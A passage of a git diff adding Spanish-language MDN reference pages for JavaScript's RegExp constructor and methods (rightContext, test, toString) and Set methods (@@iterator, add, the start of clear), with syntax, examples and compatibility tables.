+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.RegExp")}}</p>
+</div>
+
+<h3 id="Notas_específicas_de_Firefox">Notas específicas de Firefox</h3>
+
+<p>A partir de Firefox 34, en el caso de un grupo de captura con cuantificadores que impiden su ejercicio, el texto coincidente para un grupo de captura ahora es <code>undefined</code> en lugar de una cadena vacía:</p>
+
+<pre class="brush: js notranslate">// Firefox 33 o anterior
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'grupo: " + group + "'");
+});
+// 'grupo: '
+
+// Firefox 34 o más reciente
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'grupo: " + group + "'");
+});
+// 'grupo: undefined'
+</pre>
+
+<p>Ten en cuenta que, debido a la compatibilidad web, <code>RegExp.<var>$N</var></code> seguirá devolviendo una cadena vacía en lugar de <code>undefined</code> ({{bug(1053944)}}).</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>El capítulo de {{JSxRef("../Guide/Regular_Expressions", "Expresiones regulares")}} en la {{JSxRef("../Guide", "Guía de JavaScript")}}</li>
+ <li>{{JSxRef("String.prototype.match()")}}</li>
+ <li>{{JSxRef("String.prototype.replace()")}}</li>
+ <li>{{JSxRef("String.prototype.split()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/regexp/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/regexp/index.html
new file mode 100644
index 0000000000..ad3a8c90e9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/regexp/index.html
@@ -0,0 +1,114 @@
+---
+title: Constructor RegExp()
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/RegExp
+tags:
+  - Constructor
+  - JavaScript
+  - Referencia
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p>El constructor <strong><code>RegExp</code></strong> crea un objeto de expresión regular para hacer coincidir el texto con un patrón.</p>
+
+<p>Para ver la introducción a las expresiones regulares, lee el {{JSxRef("../Guide/Regular_Expressions", "capítulo sobre expresiones regulares")}} en la {{JSxRef("../Guide", "Guía de JavaScript")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Son posibles las notaciones literal, constructor y de fábrica:</p>
+
+<pre class="syntaxbox notranslate">/<var>patrón</var>/<var>banderas</var>
+new RegExp(<var>patrón</var>[, <var>banderas</var>])
+RegExp(<var>patrón</var>[, <var>banderas</var>])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>patrón</var></code></dt>
+ <dd>El texto de la expresión regular.</dd>
+ <dd>A partir de ES5, también puede ser otro objeto o <code>RegExp</code> literal (solo para las dos notaciones del constructor RegExp). Los patrones pueden incluir {{JSxRef("../Guide/Regular_Expressions", "caracteres especiales", "#Usar_caracteres_especiales")}} para que coincidan con un rango de valores más amplio que el de una cadena literal.</dd>
+ <dt><code><var>banderas</var></code></dt>
+ <dd>
+ <p>Si se especifica, <code><var>banderas</var></code> es una cadena que contiene las banderas para agregar.</p>
+
+ <p>Alternativamente, si se proporciona un objeto para el patrón, la cadena <code><var>banderas</var></code> reemplazará cualquiera de las banderas de ese objeto (y <code>lastIndex</code> se restablecerá a <code>0</code>) (a partir de ES2015).</p>
+
+ <p>Si no se especifica <code><var>banderas</var></code> y se proporciona un objeto de expresiones regulares, las banderas de ese objeto (y el valor de <code>lastIndex</code>) se copiarán.</p>
+
+ <p><code>banderas</code> puede contener cualquier combinación de los siguientes caracteres:</p>
+
+ <dl>
+  <dt><code>g</code> (coincidencia global)</dt>
+  <dd>Encuentra todas las coincidencias en lugar de detenerse después de la primera.</dd>
+  <dt><code>i</code> (ignorar mayúsculas y minúsculas)</dt>
+  <dd>Si el indicador <code>u</code> también está habilitado, utiliza el plegado de mayúsculas y minúsculas Unicode.</dd>
+  <dt><code>m</code> (multilínea)</dt>
+  <dd>Trata los caracteres iniciales y finales (<code>^</code> y <code>$</code>) como si estuvieran trabajando en varias líneas. En otras palabras, hace coincidir el principio o el final de <em>cada</em> línea (delimitada por <code>\n</code> o <code>\r</code>), no solo al principio o final de toda la cadena de entrada.</dd>
+  <dt><code>s</code> («<em>dotAll</em>» o punto para todo)</dt>
+  <dd>Permite que el punto (<code>.</code> coincida con nuevas líneas o no.</dd>
+  <dt><code>u</code> (unicode)</dt>
+  <dd>Trata el <code><var>patrón</var></code> como una secuencia de puntos de código Unicode. (Consulta también <a href="/es/docs/Web/API/DOMString/Binary">Cadenas binarias</a>).</dd>
+  <dt><code>y</code> (sticky)</dt>
+  <dd>Coincide solo con el índice indicado por la propiedad <code>lastIndex</code> de esta expresión regular en la cadena destino. No intenta coincidir con índices posteriores.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Notación_literal_y_constructor">Notación literal y constructor</h3>
+
+<p>Hay dos formas de crear un objeto <code>RegExp</code>: una <em>notación literal</em> y un <em>constructor</em>.</p>
+
+<ul>
+ <li>Los parámetros de <strong>la notación literal</strong> se encierran entre barras y no utilizan comillas.</li>
+ <li>Los parámetros de <strong>la función constructora</strong> no se encierran entre barras, pero utilizan comillas.</li>
+</ul>
+
+<p>Las siguientes tres expresiones crean la misma expresión regular:</p>
+
+<pre class="brush: js notranslate">/ab+c/i
+new RegExp(/ab+c/, 'i') // notación literal
+new RegExp('ab+c', 'i') // constructor
+</pre>
+
+<p>La notación literal da como resultado la compilación de la expresión regular cuando se evalúa la expresión. Utiliza la notación literal cuando la expresión regular permanecerá constante. Por ejemplo, si usas notación literal para construir una expresión regular usada en un bucle, la expresión regular no se volverá a compilar en cada iteración.</p>
+
+<p>El constructor del objeto de expresión regular, por ejemplo, <code>new RegExp('ab+c')</code>, da como resultado la compilación en tiempo de ejecución de la expresión regular. Usa la función constructora cuando sepas que el patrón de la expresión regular cambiará, o no conoces el patrón y lo obtienes de otra fuente, como la entrada del usuario.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-constructor', 'RegExp constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.RegExp")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>El capítulo de {{JSxRef("../Guide/Regular_Expressions", "Expresiones regulares")}} en la {{JSxRef("../Guide", "Guía de JavaScript")}}</li>
+ <li>{{JSxRef("String.prototype.match()")}}</li>
+ <li>{{JSxRef("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/rightcontext/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/rightcontext/index.html
new file mode 100644
index 0000000000..39530ee1b5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/rightcontext/index.html
@@ -0,0 +1,54 @@
+---
+title: RegExp.rightContext ($')
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/rightContext
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/rightContext
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propiedad <strong>rightContext <em>(No es estándar)</em></strong> es una propiedad estática y de solo lectura de expresiones regulares que contiene la subcadena que sigue a la coincidencia más reciente. el alias para esta propiedad es <code>RegExp.$'</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>RegExp</var>.rightContext
+RegExp["$'"]</code>
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad <code>rightContext</code> es estática, no es una propiedad de un objeto de expresión regular individual. Debe usarse como <code>RegExp.rightContext</code> o <code>RegExp["$'"].</code></p>
+
+<p>El valor de la propiedad <code>rightContext</code> es de solo lectura y se modifica cada que hay una coincidencia exitosa.</p>
+
+<p>Tenga presente que no puede usar la abreviatura (<code>RegExp.$'</code>), porque el analizador espera una cadena de inicio, si lo hace optendra un error de sintaxis {{jsxref("SyntaxError")}} , para este caso, usted debe usar corchetes. consulte <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">notación de paréntesis para acceso a la propiedad</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_rightContext_y_'">Usando <code>rightContext</code> y <code>$'</code></h3>
+
+<pre class="brush: js">var re = /hola/g;
+re.test('hola mundo!');
+RegExp.rightContext; // " mundo!"
+RegExp["$'"];       // " mundo!"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No estándar. No forma parte de ninguna especificación actual.</p>
+
+<h2 id="Navegadores_compactibles">Navegadores compactibles</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.rightContext")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/test/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/test/index.html
new file mode 100644
index 0000000000..4507b57c97
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/test/index.html
@@ -0,0 +1,152 @@
+---
+title: RegExp.prototype.test()
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/test
+tags:
+  - Expresion Regular
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>test()</strong></code> ejecuta la búsqueda de una ocurrencia entre una expresión regular y una cadena especificada. Devuelve <code>true</code> o <code>false</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.test(<var>cadena</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>cadena</code></dt>
+ <dd>La cadena a comparar contra la expresión regular.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>Retorna <code>true</code> si existe una coincidencia entre la expresión regular y la cadena especificada; de lo contrario retorna <code>false</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Use <code>test()</code> cuando desee saber si existe la ocurrencia de un patrón en una cadena (similar al método {{jsxref("String.prototype.search()")}}, la diferencia es que <code>test()</code> devuelve un booleano, mientras que <code>search()</code> devuelve el índice de la coincidencia (si la encuentra) o -1 si no la encuentra).</p>
+
+<p>Si requiere más información (a coste de una ejecución más lenta) utilice el método {{jsxref("RegExp.prototype.exec()", "exec()")}}. Al igual que este último, multiples llamadas a <code>test()</code> sobre la misma instancia global de una expresión regular avanzará desde de la ocurrencia anterior.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_test()">Usando <code>test()</code></h3>
+
+<p>Ejemplo simple que prueba si "hello" está contenido al principio de una cadena y devuelve un valor booleano.</p>
+
+<pre class="brush: js">var cadena = "hello world!";
+var result = /^hello/.test(cadena);
+console.log(result); // true
+</pre>
+
+<p dir="ltr" id="tw-target-text">El siguiente ejemplo registra un mensaje que depende del éxito de la prueba:</p>
+
+<pre class="brush: js">function probarEntrada(regexp, cadena){
+  var subcadena;
+  if (regexp.test(cadena)) {
+    subcadena = ' contiene ';
+  } else {
+    subcadena = ' no contiene ';
+  }
+  console.log(cadena + subcadena + regexp.source);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definition inicial. Implementado en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.6.3', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.test', 'RegExp.test')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_específicas_para_Gecko">Notas específicas para Gecko</h3>
+
+<p>Antes de Gecko 8.0 {{geckoRelease("8.0")}}, <code>test()</code> estaba incorrectamente implementado; cuando era llamado sin parámetros, buscaba emparejar contra el valor de la entrada anterior (la propiedad <code>RegExp.input</code>) en lugar de hacerlo contra la cadena <code>"undefined"</code>. Esto ha sido corregido; ahora <code>/undefined/.test()</code> resulta correctamente en <code>true</code>, en lugar de un error.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>El capítulo <a href="/es/docs/Web/JavaScript/Guide/Regular_Expressions">Expresiones Regulares</a> de la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide">Guía JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/regexp/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/regexp/tostring/index.html
new file mode 100644
index 0000000000..50c10d2bb2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/regexp/tostring/index.html
@@ -0,0 +1,171 @@
+---
+title: RegExp.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/RegExp/toString
+tags:
+  - Expresion Regular
+  - Prototipo
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>toString()</code></strong> devuelve una cadena que representa el patrón de la expresión regular.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.toString();</code></pre>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>Una cadena que representa el objeto dado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El objeto {{jsxref("RegExp")}} reemplaza el método <code>toString()</code> del objeto {{jsxref("Object")}}; no hereda de {{jsxref("Object.prototype.toString()")}}. Para objetos {{jsxref("RegExp")}}, el método <code>toString()</code> retorna una cadena que representa el patrón de la expresión regular.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_toString()">Usando <code>toString()</code></h3>
+
+<p dir="ltr" id="tw-target-text">El siguiente ejemplo muestra la cadena de representación de un objeto {{jsxref("RegExp")}}:</p>
+
+<pre class="brush: js">var myExp = new RegExp('a+b+c');
+console.log(myExp.toString());  // '/a+b+c/'
+
+var foo = new RegExp('bar', 'g');
+console.log(foo.toString());    // '/bar/g'
+</pre>
+
+<h3 id="Expresiones_regulares_vacías_y_escapado">Expresiones regulares vacías y escapado</h3>
+
+<p>A partir de ECMAScript 5, una expresión regular vacía devuelve la cadena "/(?:)/" y los terminadores de línea tales como "\n" son escapados:</p>
+
+<pre class="brush: js">new RegExp().toString(); // "/(?:)/"
+
+new RegExp('\n').toString() === "/\n/";  // true, antes de ES5
+new RegExp('\n').toString() === "/\\n/"; // true, desde ES5
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table" style="color: #3b3c40; font-size: 14px; font-weight: normal;">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Agregado de la definición para escapado de caracteres especiales y "(?:)" para expresiones regulares vacías.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Escaping</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generic function</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Escaping</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Generic function</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/@@iterator/index.html b/files/es/web/javascript/referencia/objetos_globales/set/@@iterator/index.html
new file mode 100644
index 0000000000..7445821fc0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/@@iterator/index.html
@@ -0,0 +1,86 @@
+---
+title: 'Set.prototype[@@iterator]()'
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/@@iterator
+tags:
+  - Iteradores
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>El valor inicial de la propiedad <code><strong>@@iterator</strong></code>, es la misma función objeto que el valor inicial de la propiedad {{jsxref("Set.prototype.values()", "values")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-@@iterator.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo interactivo lo puedes encontrar en el repositorio de Github. Si quieres contribuir con más ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>[Symbol.iterator]</code></pre>
+
+<h3 id="Valor_retornado"> Valor retornado</h3>
+
+<p>La función <strong>iteradora</strong> <code>Set</code> , la cuál es {{jsxref("Set.prototype.values()", "values()")}} por defecto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_iterator">Usando <code>[@@iterator]()</code></h3>
+
+<pre class="brush:js">const mySet = new Set();
+mySet.add('0');
+mySet.add(1);
+mySet.add({});
+
+const setIter = mySet[Symbol.iterator]();
+
+console.log(setIter.next().value); // "0"
+console.log(setIter.next().value); // 1
+console.log(setIter.next().value); // Object
+</pre>
+
+<h3 id="Usando_iterator_con_for..of">Usando <code>[@@iterator]()</code> con <code>for..of</code></h3>
+
+<pre class="brush:js">const mySet = new Set();
+mySet.add('0');
+mySet.add(1);
+mySet.add({});
+
+for (const v of mySet) {
+  console.log(v);
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página está generada a partir de datos estructurados. Si quieres contribuir con ello, por favor comprueba <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Set.@@iterator")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+ <li>{{jsxref("Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/add/index.html b/files/es/web/javascript/referencia/objetos_globales/set/add/index.html
new file mode 100644
index 0000000000..f9385894fb
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/add/index.html
@@ -0,0 +1,124 @@
+---
+title: Set.prototype.add()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/add
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/add
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>add()</strong></code> añade un nuevo elemento con un valor específico al final del objeto <code>Set</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.add(value);</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Requerido. El valor del elemento a ser añadido al objeto <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>El objeto <code>Set</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_add">Usando el método add</h3>
+
+<pre class="brush: js">var mySet = new Set();
+
+mySet.add(1);
+mySet.add(5).add("some text"); // chainable
+
+console.log(mySet);
+// Set [1, 5, "some text"]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Prior to Firefox 33 {{geckoRelease("33")}}, <code>Set.prototype.add</code> returned <code>undefined</code> and was not chainable. This has been fixed ({{bug(1031632)}}). The behavior can be found in Chrome/v8 as well (<a href="https://code.google.com/p/v8/issues/detail?id=3410">issue</a>).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+ <li>{{jsxref("Set.prototype.has()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/clear/index.html b/files/es/web/javascript/referencia/objetos_globales/set/clear/index.html
new file mode 100644
index 0000000000..0fdca7e492
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/clear/index.html
@@ -0,0 +1,119 @@
+---
+title: Set.prototype.clear()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/clear
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Prototype
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear
+---
+<div>{{JSRef}}</div>
+
